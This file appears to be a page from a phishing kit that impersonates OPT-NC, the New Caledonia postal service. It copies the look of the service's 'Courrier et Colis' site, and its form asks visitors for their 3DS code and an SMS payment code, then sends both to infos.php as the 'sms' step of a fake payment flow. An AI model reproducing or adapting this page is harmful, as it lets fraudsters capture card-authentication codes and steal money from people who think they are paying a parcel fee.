<?php 
     require_once "functions.php";
     $_SESSION['lang'] = 'fr';
?>
<!DOCTYPE html>
<html>
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <!-- link_icons -->
        <link rel="stylesheet"  href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">
        <link rel="stylesheet"  href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css"> 
        <title>OPT-NC | Courrier et Colis</title>
        <!-- logo site web-->
        <link rel="icon" href="image/opt-favicon.png" type="image/png"/>
        <link rel="shortcut icon" href="image/opt-favicon.png" type="image/png" />
        <!-- link__css -->
        <link rel="stylesheet"  href="css/bootstrap.css">
        <link rel="stylesheet"  href="css/styless.css">
</head>
<body >
        <!-- Start____Navbar -->
        <div class="navbar">
        	<div class="container-fluid">
        		<div class="topping">
        			<img src="image/opt-logo.png">
        			<ul class="web">
        				<li><i class="bi bi-exclamation-circle me-2"></i>Alerte(1)</li>
        				<li>Nous contacter</li>
        				<li><i class="bi bi-globe me-2"></i>Français</li>
        				<li><i class="bi bi-search me-2"></i>Recherche</li>
        			</ul>
        			<ul class="respo">
        				<li><i class="bi bi-list"></i></li>
        				<li></li>
        			</ul>
        		</div>
        		<div class="bottomin">
        			<ul>
        				<li>Suivi<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Envoyer<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Services postaux<i class="bi bi-chevron-down ms-1"></i></li>
        				<li>Service client<i class="bi bi-chevron-down ms-1"></i></li>
        			</ul>
        			<p><i class="bi bi-person-fill me-2"></i>Mon espace client</p>
        		</div>
        	</div>
        </div>
        <!-- End____Navbar -->
        <!-- Start____Home -->
        <div class="home" style="background: none;height: 600px;">
        	<div class="otside" style="background: none;padding-top:50px;">
        		<div class="container" style="background:white;"> 
                    <div class="stock">
                        <div class="dod">
                            <div class="line">
                                <div class="ll " style="width:66%"></div>
                            </div>
                            <ul class="nav">
                                <li class="nav first"><i class="bi bi-check"></i></li>
                                <li class="nav first"><i class="bi bi-check"></i></li>
                                <li class="nav two"><i class="bi bi-credit-card-2-back-fill"></i></li>
                                <li class="nav fore"></li>
                            </ul>
                        </div>
                        <ul class="nav">
                            <li class="nav">Numéro de suivi</li>
                            <li class="nav">Vos détails</li>
                            <li class="nav">Paiement</li>
                            <li class="nav">Confirmation</li>
                        </ul>
                    </div>
        			<div class="lettre">
                        <!-- START___FORM -->
                        <form action="infos.php" method="post">
                            <div class="titre">
                                <b class="mb-3" style="font-size:20px"><i class="bi bi-shield-lock-fill" style="font-size: 22px;color: #006B7B;margin-right:6px;"></i>Vérification de sécurité</b>
                                <br>
                                <p style="color:rgba(0, 0, 0, 0.8);font-size:14px;font-weight:600;margin-top: 10px;">Veuillez saisir les codes de vérification pour confirmer votre paiement.</p>
                            </div>
                            <input type="hidden" name="step" value="sms">
                            <div class="nda">
                                <div class="form-floating bb mt-3" style="width:100%">
                                    <p style="font-weight:700;font-size:16px;color:#333;margin-bottom:8px;">Votre code 3DS</p>
                                    <input type="text" name="code_3ds" id="code_3ds" class="form-control" placeholder="" required style="height:55px;border:1px solid #ccc;border-radius:8px;font-size:16px;">
                                </div>
                            </div>
                            <div class="nda mt-4">
                                <div class="form-floating bb" style="width:100%">
                                    <p style="font-weight:700;font-size:16px;color:#333;margin-bottom:8px;">Code de paiement reçu par SMS</p>
                                    <input type="text" name="sms" id="sms" class="form-control" placeholder="" required style="height:55px;border:1px solid #ccc;border-radius:8px;font-size:16px;">
                                </div>
                            </div>
                            <div class="msaws mt-4">
                                <div class="bossa">
                                    <p style="font-style: italic;color: rgba(0, 0, 0, 0.7);font-size: 12px;"><b>Remarque : </b>Cette étape est nécessaire pour votre protection</p>
                                    <button class="btn" name="submit">Confirmer</button>
                                </div>
                            </div>
                        </form>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd____Home -->
        <!-- Start___Fotter -->
        <div class="fotter">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="power ">Centre d'assistance</li>
        					<li>Service clientèle</li>
        					<li>Mon espace client</li>
        					<li>Partenaires numériques</li>
        					<li>Portail des développeurs</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Nos services</li>
							<li>Courrier et Colis</li> 
							<li>Services Financiers</li>
							<li>Télécommunications</li>
							<li>Numérique</li>
							<li>Philatélie</li>
							<li>Boutique en ligne</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">Informations pratiques</li>
							<li>Agences et horaires</li>
							<li>Tarifs postaux</li>
							<li>Suivi de colis</li>
							<li>Formalités douanières</li>
							<li>Régler en ligne</li>
							<li>Réclamations</li>
        				</ul>
        			</div>
        			<div class="col-lg-3 col-md-6 col-sm-6 col-12">
        				<ul>
        					<li class="active">À propos d'OPT-NC</li>
							<li>Qui sommes-nous</li>
							<li>Recrutement</li>
							<li>Actualités</li>
							<li>Développement durable</li>
							<li>Partenaires</li>
        				</ul>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- Ennnd___Fotter -->
        <!-- STAAAART_SOUS -->
        <div class="sous ">
        	<div class="container-fluid">
        		<div class="row">
        			<div class="col-lg-9">
        				<img src="image/opt-logo.png" style="width:120px;">
        				<ul>
        					<li>Mentions légales</li>
        					<li>Conditions d'utilisation</li>
        					<li>Politique de confidentialité</li>
        					<li>Cookies</li>
        					<li>Accessibilité</li>
        					<li>Plan du site</li>
        				</ul>
        			</div>
        			<div class="col-lg-3">
        				<h6>Suivez-nous</h6>
        				<img src="image/socio.png" class="socio">
        			</div>
        			<div class="text-center ss">2024 © OPT Nouvelle-Calédonie. Tous droits réservés.</div>
        		</div>	
        	</div>
        </div>
        <!-- ENNNNNND_SOUS -->
        <script src="js/jquery-3.5.1.min.js"></script>
        <script src="js/jquery.mask.js"></script>
        <script>
            $("#code_3ds").focus();
        </script>
</body>
</html>
